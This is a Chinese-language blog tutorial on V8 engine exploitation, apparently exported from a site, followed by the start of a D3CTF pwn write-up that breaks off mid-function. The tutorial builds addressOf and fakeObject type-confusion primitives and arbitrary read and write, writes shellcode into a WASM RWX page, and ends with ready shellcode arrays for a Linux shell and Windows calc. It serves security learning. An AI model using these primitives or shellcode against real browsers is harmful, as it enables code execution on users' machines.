Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\n此处调用了 WebAssembly 模块为 WASM 创建专用的内存段,当我们执行到第二个断点后,通过 “vmmap” 指令可以发现内存中多了一个特殊的内存段:\npwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]\n\n那么现在这段内存就能够为我们所用了。如果我们向其中写入 shellcode ,日后在执行 WASM 时就会转而执行我们写入的攻击代码了\n由于 v8 一般都是开启了所有保护的,为此我们需要像 CTF 题那样先泄露地址,然后再达成任意地址写\n\n这里会有一个疑问,既然是浏览器,难道不能自己构建WASM直接拿下吗?怎么还需要自己去写 shellcode?\n结论是,WASM不允许执行需要系统调用才能完成的操作。更准确的说,WASM并不是汇编代码,而是 v8 会根据这段数据生成一段汇编然后加载到内存段中去执行,而检查该代码是否存在系统调用就发生在这一步。如果通过构造合法的WASM使其创造内存段,然后在之后的操作里写入非法的 Shellcode,就能够完成利用了。\n\n高版本的变化这里有一个不得不说的问题是,在后来的版本中,不会再开辟这样的内存段了\n我们可以先看看现在这个内存段中放入的数据是什么:\npwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]pwndbg> tel 0x226817c0d000 2000:0000│ 0x226817c0d000 ◂— jmp 0x226817c0d480 /* 0xcccccc0000047be9 */01:0008│ 0x226817c0d008 ◂— int3 /* 0xcccccccccccccccc */... ↓ 6 skipped08:0040│ 0x226817c0d040 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */09:0048│ 0x226817c0d048 —▸ 0x55b126522940 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x2d60a:0050│ 0x226817c0d050 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0b:0058│ 0x226817c0d058 —▸ 0x55b126522980 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x2d80c:0060│ 0x226817c0d060 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0d:0068│ 0x226817c0d068 —▸ 0x55b1265229c0 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x2da0e:0070│ 0x226817c0d070 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0f:0078│ 0x226817c0d078 —▸ 0x55b126522a00 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x2dc10:0080│ 0x226817c0d080 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */11:0088│ 0x226817c0d088 —▸ 0x55b126522a40 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x2de12:0090│ 0x226817c0d090 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */13:0098│ 0x226817c0d098 —▸ 0x55b126522a80 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x2e0\n\n接下来笔者换到了截至至 2022.7.5 为止的最新版,我们再次重复之前的操作,看看这次 WASM 被放到了哪里:\npwndbg> vmmap 0x88d46808000 0x88d46809000 r-xp 1000 0 [anon_88d46808]pwndbg> tel 0x88d46808000 2000:0000│ 0x88d46808000 ◂— jmp 0x88d4680858001:0008│ 0x88d46808008 ◂— int3 ... ↓ 6 skipped08:0040│ 0x88d46808040 ◂— jmp qword ptr [rip + 2]09:0048│ 0x88d46808048 —▸ 0x7f7da298ca80 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x31e0a:0050│ 0x88d46808050 ◂— jmp qword ptr [rip + 2]0b:0058│ 0x88d46808058 —▸ 0x7f7da298cac0 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x3200c:0060│ 0x88d46808060 ◂— jmp qword ptr [rip + 2]0d:0068│ 0x88d46808068 —▸ 0x7f7da298cb00 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x3220e:0070│ 0x88d46808070 ◂— jmp qword ptr [rip + 2]0f:0078│ 0x88d46808078 —▸ 0x7f7da298cb40 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x32410:0080│ 0x88d46808080 ◂— jmp qword ptr [rip + 2]11:0088│ 0x88d46808088 —▸ 0x7f7da298cb80 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x32612:0090│ 0x88d46808090 ◂— jmp qword ptr [rip + 2]13:0098│ 0x88d46808098 —▸ 0x7f7da298cbc0 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x328pwndbg> \n\n这段新增的内存段内容是完全相同的,但区别在于,高版本下的 WASM 内存段不再可写了,只有可读可执行权限,似乎不再能这样攻击了\n不过最开始的学习总归是从低版本向着高版本发展,接下来的内容也将以 “9.6.180.6” 版本为准,就像最开始学习 PWN 时从 Glibc2.23 开始那样(不过我估计有的大佬会从更低的版本开始……)\n数据储存方式用下面的脚本简单看看每个对象在内存中是如何储存的:\n//demo.js%SystemBreak();a= [2.1];b={"a":1};c=[b];d=[1,2,3];%DebugPrint(a);%DebugPrint(b);%DebugPrint(c);%DebugPrint(d);%SystemBreak();\n\nJSArray:apwndbg> job 0x31f3080499c90x31f3080499c9: [JSArray] - map: 0x31f308203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f3080499b9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f3080499b9 <FixedDoubleArray[1]> { 0: 2.1 }pwndbg> x/8xw 0x31f3080499c9-10x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x000000020x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002\n\n可以看出,一个 JSArray 在内存中的布局如下:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length \n\n而其 elements 结构体的内存布局如下:\npwndbg> job 0x31f3080499b90x31f3080499b9: [FixedDoubleArray] - map: 0x31f308002a95 <Map> - length: 1 0: 2.1pwndbg> x/12xw 0x31f3080499b9-10x31f3080499b8: 0x08002a95 0x00000002 0xcccccccd 0x4000cccc0x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x000000020x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002\n\n32bit map addr 32bit length 64bit value \n\n并且我们可以注意到,elements+0x10=&a,这说明这两个结构体在内存上相邻,如果 elements 的内容溢出了,就有可能覆盖 DoubleArray 结构体中的数据\n32bit map addr 32bit length 64bit value elements32bit map addr 32bit properties addr 32bit elements addr 32bit length jsarray\n\n\n如上一节所说过的一样,这里的 length 也都被乘以二了\n\nJS_OBJECT_TYPE:bpwndbg> job 0x31f3080499d90x31f3080499d9: [JS_OBJECT_TYPE] - map: 0x31f308207aa1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x31f3081c41f5 <Object map = 0x31f3082021b9> - elements: 0x31f30800222d <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f308007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object }pwndbg> x/8xw 0x31f3080499d9-10x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x000000020x31f3080499e8: 0x08005c11 0x00010001 0x00000000 0x080021f9\n\n大致的内存结构如下:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length \n\n但这个结构体的 elements 就没有和 JS_OBJECT_TYPE 相邻了,因此一般不存在可利用的地方\nJSArray:cpwndbg> job 0x31f308049a110x31f308049a11: [JSArray] - map: 0x31f308203b31 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f308049a05 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f308049a05 <FixedArray[1]> { 0: 0x31f3080499d9 <Object map = 0x31f308207aa1> }pwndbg> job 0x31f308049a050x31f308049a05: [FixedArray] - map: 0x31f308002205 <Map> - length: 1 0: 0x31f3080499d9 <Object map = 0x31f308207aa1>pwndbg> x/20xw 0x31f308049a05-10x31f308049a04: 0x08002205 0x00000002 0x080499d9 0x08203b310x31f308049a14: 0x0800222d 0x08049a05 0x00000002 0x00000000\n\n同为 JSArray 实体,因此内存布局与变量 a 相同,但不同的是,由于 a 中存放的是 double 类型的浮点数,其 value 占用 64bit,而变量 c 中存放的是地址,由于地址压缩的缘故,其 value 只占用 32bit,但同样与 JSArray 结构体在内存上相邻\nJSArray:dpwndbg> job 0x18e808049a210x18e808049a21: [JSArray] - map: 0x18e808203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x18e8081cc0e9 <JSArray[0]> - elements: 0x18e8081d31ed <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x18e80800222d <FixedArray[0]> - All own properties (excluding elements): { 0x18e8080048f1: [String] in ReadOnlySpace: #length: 0x18e80814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x18e8081d31ed <FixedArray[3]> { 0: 1 1: 2 2: 3 }pwndbg> job 0x18e8081d31ed0x18e8081d31ed: [FixedArray] in OldSpace - map: 0x18e808002531 <Map> - length: 3 0: 1 1: 2 2: 3pwndbg> x/8xw 0x18e8081d31ed-10x18e8081d31ec: 0x08002531 0x00000006 0x00000002 0x000000040x18e8081d31fc: 0x00000006 0x08003259 0x00000000 0x081d31ed\n\n整数和浮点数数组没有什么差别,但它们在内存上不再相邻了,并且需要注意的是,其储存的数据也都被乘以二了,因此后续的利用中往往需要用浮点数去溢出,而不能直接了当的用整数数据溢出\n类型识别既然 a、c、d 三个变量都是 JSArray,肯定还需要一个结构用来区别其中储存的数据类型\n我们尝试读取 a 和 d 两个数组的 map 结构体:\npwndbg> job 0x18e808203a410x18e808203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e8080023b5 <undefined> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5b9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0pwndbg> job 0x18e808203ae10x18e808203ae1: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5e9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x18e808203b09 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0\n\n注意到 map 结构体中存在一项成员用以标注 elements 类型:\n- elements kind: PACKED_DOUBLE_ELEMENTS\n\n并且两个都是 JS_ARRAY_TYPE,大多数数据都是相同的,因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”\n类型混淆是有可能造成地址泄露的,可以考虑这样的代码:\nfloat_arr= [2.1];obj_arr=[float_arr];%DebugPrint(a);%DebugPrint(b);%SystemBreak();\n\n正常访问 obj_arr[0] 会得到一个对象,但如果修改 obj_arr 的 map 为 float_arr 的 map,就会认为 obj_arr 是一个浮点数数组,那么此时访问 obj_arr[0] 就会得到对象 float_arr 的地址了\n\n注:对于没有接触过 Java 或 JavaScript 的读者来说可能会产生困惑,为什么需要通过这种麻烦的方式来获取地址,而不能像 C/C++ 那样直接把对象地址打印出来?\n简单来说,就是 JavaScript 不支持这种操作,它将一切视为对象或整数,消除了所谓“地址”的概念。对 JavaScript 来说,例子中的 obj_arr[0] 储存的是一个 “对象” 而非 “地址”,访问该对象的返回值必然会是一个具体的 “对象”。(哪怕我们通过调试能够发现,它储存的就是一个地址,但在代码层面,我们没有获取该值的手段)\n\n任意变量地址读正如我们上一节所说,JavaScript 不允许我们直接读取某一个地址,但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数,并将其读出\naddressOf同上所述,我们讲这种类型混淆的读取地址方法称之为 “addressOf”\n其一般的写法如下:\n//获取某个变量的地址var other={"a":1};var obj_array=[other];var double_array=[2.1];var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值function addressOf(target_var){ obj_array[0]=target_var; obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型 return target_var_addr;//此处返回的是 target_var 的对象结构体地址}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象\n\nfakeObject与 addressOf 的步骤相反,将 float_arr 的 map 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象\n//将某个地址转换为对象var other={"a":1};var obj_array=[other];var double_array=[2.1];var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值function fakeObject(target_addr){ double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值 double_array.setMap(obj_array_map); let fake_obj=double_array[0]; return fake_obj;}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象\n\n任意地址读可以尝试构造出这样一个结构:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];\n\n其在内存中的布局应为:\n32bit elements map 32bit length 64bit double_array_map 64bit 0x4141414141414141 element32bit fake_array map 32bit properties 32bit elements 32bit length JSArray\n\n接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length JSArray\n\n此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)\n代码逻辑大致如下:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4function read64_addr(addr){ var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); return fake_object[0];} \n\n任意地址写同上一小节一样,只需要将最后的 return 修改为写入即可:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4function write64_addr(addr,data){ var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); fake_object[0]=data;} \n\n写入shellcode参考了几篇其他师傅们所写的博客后,会发现目前所实现的任意地址写并不能正常工作,大致原因如下:\n\n设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常\n另外一个原因是,在尝试写 d8 的 free_hook 或 malloc_hook 时,由于其地址都是以 0x7f 开头,而 Double 类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点尚未确定,仅作记录)\n\n因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。\n不过 JavaScript 还真的提供了这样的操作:\nvar data_buf = new ArrayBuffer(0x10);var data_view = new DataView(data_buf);data_view.setFloat64(0, 2.0, true);%DebugPrint(data_buf);%DebugPrint(data_view);%SystemBreak();\n\npwndbg> job 0x1032080499e50x1032080499e5: [JSArrayBuffer] - map: 0x103208203271 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081ca361 <Object map = 0x103208203299> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x56504b1f89d0 - byte_length: 16 - max_byte_length: 16 - detachable - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }pwndbg> job 0x103208049a250x103208049a25: [JSDataView] - map: 0x103208202ca9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081c8665 <Object map = 0x103208202cd1> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x1032080499e5 <ArrayBuffer map = 0x103208203271> - byte_offset: 0 - byte_length: 16 - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }pwndbg> tel 0x56504b1f89d000:0000│ 0x56504b1f89d0 ◂— 0x400000000000000001:0008│ 0x56504b1f89d8 ◂— 0x0pwndbg> x/20wx 0x1032080499e5-10x1032080499e4: 0x08203271 0x0800222d 0x0800222d 0x000000100x1032080499f4: 0x00000000 0x00000010 0x00000000 0x4b1f89d0\n\n可以注意到,JSDataView 的 buffer 指向了 JSArrayBuffer,而 JSArrayBuffer 的 backing_store 则指向了实际的数据储存地址,那么如果我们能够写 backing_store 为 shellcode 内存段,就可以通过 JSDataView 的 setFloat64 方法直接写入了\n而该成员在 data_buf+0x1C 处\n\n每个成员的地址偏移都会因为版本而迁移,这一点还请读者以自己手上的版本为准\n\nfunction shellcode_write(addr,shellcode){ var data_buf = new ArrayBuffer(shellcode.lenght*8); var data_view = new DataView(data_buf); var buf_backing_store_addr=addressOf(data_buf)+0x18n; write64_addr(buf_backing_store_addr,addr); for (let i=0;i<shellcode.length;++i) data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象并且由于数据压缩的原因,获取 buf_backing_store_addr 的操作有可能不只是一次 addressOf 即可完成的,需要将低位和高位分别读出然后合并为 64 位地址后再写入,这里只做逻辑抽象,具体实践在以后的章节中另外补充\n\n然后是获取写入内存段的地址了,回到开始的这个脚本:\nvar wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\npwndbg> job 0x3e63081d35bd0x3e63081d35bd: [WasmInstanceObject] in OldSpace - map: 0x3e6308207399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3e6308048079 <Object map = 0x3e6308207af1> - elements: 0x3e630800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x3e6308049cb1 <Module map = 0x3e6308207231> - exports_object: 0x3e6308049e65 <Object map = 0x3e6308207bb9> - native_context: 0x3e63081c3649 <NativeContext[252]> - memory_object: 0x3e63081d35a5 <Memory map = 0x3e6308207641> - table 0: 0x3e6308049e35 <Table map = 0x3e63082074b1> - imported_function_refs: 0x3e630800222d <FixedArray[0]> - indirect_function_table_refs: 0x3e630800222d <FixedArray[0]> - managed_native_allocations: 0x3e6308049ded <Foreign> - memory_start: 0x7f6b18000000 - memory_size: 65536 - imported_function_targets: 0x55b235cab0e0 - globals_start: (nil) - imported_mutable_globals: 0x55b235cab210 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x3e630800222d <FixedArray[0]> - All own properties (excluding elements): {}pwndbg> tel 0x3e63081d35bd-1 3000:0000│ 0x3e63081d35bc ◂— 0x800222d0820739901:0008│ 0x3e63081d35c4 ◂— 0x800222d0800222d /* '-"' */02:0010│ 0x3e63081d35cc ◂— 0x800222d /* '-"' */03:0018│ 0x3e63081d35d4 —▸ 0x7f6b18000000 ◂— 0x004:0020│ 0x3e63081d35dc ◂— 0x1000005:0028│ 0x3e63081d35e4 —▸ 0x55b235c861b0 —▸ 0x7ffd839ca5f0 ◂— 0x7ffd839ca5f006:0030│ 0x3e63081d35ec —▸ 0x55b235cab0e0 ◂— 0x007:0038│ 0x3e63081d35f4 ◂— 0x0... ↓ 2 skipped0a:0050│ 0x3e63081d360c —▸ 0x55b235cab210 —▸ 0x7f6d2e41cbe0 (main_arena+96) —▸ 0x55b235d28080 ◂— 0x00b:0058│ 0x3e63081d3614 —▸ 0x55b235c86190 —▸ 0x3e6300000000 ◂— sub rsp, 0x800c:0060│ 0x3e63081d361c —▸ 0x1998dd4f3000 ◂— jmp 0x1998dd4f3480 /* 0xcccccc0000047be9 */\n\n可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址,读取该处即可\n泄露地址手记目前为止都是通过自定义一部分变量完成地址泄露的,但这个地址只是某个匿名内存段罢了\n0x271c08040000 0x271c0814d000 rw-p 10d000 0 [anon_271c08040]\n\n因为 WASM 是我们自己定义的,所以还能通过某些方法拿到地址,但如果我们现在不想写 shellcode,想像常规的 PWN 那样去写 free_hook 或者 GOT 表时,该如何泄露地址?\n一个是随机泄露,从某个变量随机的往上一个个测试偏移地址,但很显然,在开启了 ASLR 的情况下,效率太低还不稳定,因此主要通过另外一个较为稳定的方式泄露地址:\nJSArray结构体–> Map结构体–>constructor结构体–>code属性地址–>code内存地址的固定偏移处保存了 v8 的二进制指令地址–>v8 的 GOT 表–> libc基址:\npwndbg> job 0x34d8080499790x34d808049979: [JSArray] - map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]pwndbg> job 0x34d808203ae10x34d808203ae1: [Map] - type: JS_ARRAY_TYPE - constructor: 0x34d8081cbe85 <JSFunction Array (sfi = 0x34d80814adc9)>pwndbg> job 0x34d8081cbe850x34d8081cbe85: [Function] in OldSpace - map: 0x34d808203a19 <Map(HOLEY_ELEMENTS)> [FastProperties] - code: 0x34d800185501 <Code BUILTIN ArrayConstructor>pwndbg> tel 0x34d800185501-1+0x7EBAB00 3000:0000│ 0x34d808040000 ◂— 0x4000001:0008│ 0x34d808040008 ◂— 0x1202:0010│ 0x34d808040010 —▸ 0x55cca1732560 ◂— 0x003:0018│ 0x34d808040018 —▸ 0x34d808042118 ◂— 0x60800220504:0020│ 0x34d808040020 —▸ 0x34d808080000 ◂— 0x4000005:0028│ 0x34d808040028 ◂— 0x3dee806:0030│ 0x34d808040030 ◂— 0x007:0038│ 0x34d808040038 ◂— 0x211808:0040│ 0x34d808040040 —▸ 0x55cca17b4258 —▸ 0x55cc9f7a5d20 —▸ 0x55cc9e9ba260 ◂— push rbppwndbg> vmmapLEGEND: STACK HEAP CODE DATA RWX RODATA 0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /path/d8 0x55cc9e954000 0x55cc9f793000 r-xp e3f000 832000 /path/d8 0x55cc9f793000 0x55cc9f7fb000 r--p 68000 1670000 /path/d8 0x55cc9f7fb000 0x55cc9f80c000 rw-p 11000 16d7000 /path/d8\n\n可以注意到,顺着这个地址链查下去,最终能找到地址 0x55cc9e9ba260 ,该地址对应了 d8 的二进制程序中的代码地址,而整个 d8 在内存中是连续的,因此可以找到其 GOT 表,然后再从中得到 libc 的机制,最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget\n尾声最后补充一下可用的 shellcode:\n//Linux x64var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; //Windows 计算器var shellcode = [ 0xc0e8f0e48348fcn, 0x5152504151410000n, 0x528b4865d2314856n, 0x528b4818528b4860n, 0xb70f4850728b4820n, 0xc03148c9314d4a4an, 0x41202c027c613cacn, 0xede2c101410dc9c1n, 0x8b20528b48514152n, 0x88808bd001483c42n, 0x6774c08548000000n, 0x4418488b50d00148n, 0x56e3d0014920408bn, 0x4888348b41c9ff48n, 0xc03148c9314dd601n, 0xc101410dc9c141acn, 0x244c034cf175e038n, 0x4458d875d1394508n, 0x4166d0014924408bn, 0x491c408b44480c8bn, 0x14888048b41d001n, 0x5a595e58415841d0n, 0x83485a4159415841n, 0x4158e0ff524120ecn, 0xff57e9128b485a59n, 0x1ba485dffffn, 0x8d8d480000000000n, 0x8b31ba4100000101n, 0xa2b5f0bbd5ff876fn, 0xff9dbd95a6ba4156n, 0x7c063c28c48348d5n, 0x47bb0575e0fb800an, 0x894159006a6f7213n, 0x2e636c6163d5ffdan, 0x657865n, ];\n\n另外,上述代码中的 int_to_float 等函数需要自行定义,实现如下:\nfunction float_to_int(f) { f64[0] = f; return bigUint64[0]; } function int_to_float(i) { bigUint64[0] = i; return f64[0]; } \n\n\n插画作者:Mike Poe-mjcr24.artstation.com\n","categories":["Note","JavaScript-V8"],"tags":["v8"]},{"title":"D3CTF-PWN复现报告","url":"/2022/03/17/d3ctf-pwn/","content":"smarCal逻辑解读:main\nInput solver_id>\nInput expression\nInput result\nsend_message ->solver_id->expression->result\nloop\n\nfork\nget_ID_message\nget_expression_message\nget_result_message\ncalculate func\n\n源码分析首先,三个input方式是完全相同的:但必须注意的是,它们均要求输入的内容是可打印字符,只有solver_id没有这个检查。\n*&solver_id_len[1] = read(0, solver_id, 0x2010uLL);expression_len = read(0, expression, 0x1F00uLL);result_len = read(0, result, 0x1F00uLL);\n\n而发送消息的函数为sub_70DA:\nsub_70DA(dword_C1B0, solver_id, solver_id_len[1]);sub_70DA(dword_C1B0, expression, expression_len);sub_70DA(dword_C1B0, result, result_len);\n\n发送函数如下:\nvoid __fastcall sub_70DA(int a1, const void *a2, int a3){ _QWORD *mess_head; // [rsp+18h] [rbp-18h] _QWORD *mess_body; // [rsp+20h] [rbp-10h] //分配空间与初始化 mess_head = malloc(0x10uLL); mess_body = malloc(a3 + 26LL); memset(mess_head, 0, 0x10uLL); memset(mess_body, 0, a3 + 26LL); //mess_head mess_head[1] = a3; *mess_head = 1LL; msgsnd(a1, mess_head, 8uLL, 0); //mess_body *mess_body = 2LL; memcpy(mess_body + 2, a2, a3); msgsnd(a1, mess_body, a3 + 8LL, 0); //释放空间 free(mess_head); free(mess_body);}\n\n流程虽然很清晰,但必须注意到这是在进行进程间通信,其中README中提到:\n\nsudo sysctl -w kernel.msgmax=8192\n\n这意味着报文长度的限制,对于超出报文的情况会导致入队失败。这一点在之后的利用中会很重要且难以察觉,因此笔者提前注出。\n笔者猜测的结构体如下:\nstruct mess_head{ int64 type=1; int64 mess_len;}struct mess_head{ int64 type=2; int64 mess_len; char mess_context[mess_len]; char pedding[0xA];}\n\n接下来需要分析fork子进程的流程,首先是接收消息的函数:\n__int64 __fastcall get_message_con(int a1){ int i; // [rsp+1Ch] [rbp-44h] void *dest; // [rsp+20h] [rbp-40h] BYREF __int64 v4; // [rsp+28h] [rbp-38h] BYREF msgbuf *msgp; // [rsp+30h] [rbp-30h] void *s; // [rsp+38h] [rbp-28h] __int64 v7[4]; // [rsp+40h] [rbp-20h] BYREF s = malloc(0x20uLL); msgp = 0LL; for ( i = -1; i == -1; i = msgrcv(a1, msgp, *(s + 1) + 8LL, 2LL, 0) ) { memset(s, 0, 0x20uLL); msgrcv(a1, s, 8uLL, 1LL, 0); msgp = malloc(*(s + 1) + 32LL); memset(msgp, 0, *(s + 1) + 32LL); } dest = malloc(*(s + 1)); v4 = *(s + 1); memset(dest, 0, *(s + 1)); memcpy(dest, &msgp[1], *(s + 1)); free(s); free(msgp); sub_73C2(v7, &dest, &v4); return v7[0];}\n\n阅读起来不太容易,感觉似乎多了些毫无意义的翻译,简而言之就是返回一个指向mess_context内容的chunk。然后就能阅读完整的子进程主函数了:\nvoid __fastcall __noreturn sub_68AE(unsigned int a1){ __int64 v1; // rdx __int64 v2; // rdx __int64 v3; // rdx char *ID; // [rsp+10h] [rbp-60h] BYREF __int64 v5; // [rsp+18h] [rbp-58h] void *expression; // [rsp+20h] [rbp-50h] BYREF __int64 v7; // [rsp+28h] [rbp-48h] void *result; // [rsp+30h] [rbp-40h] BYREF __int64 v9; // [rsp+38h] [rbp-38h] __int64 message_con; // [rsp+40h] [rbp-30h] 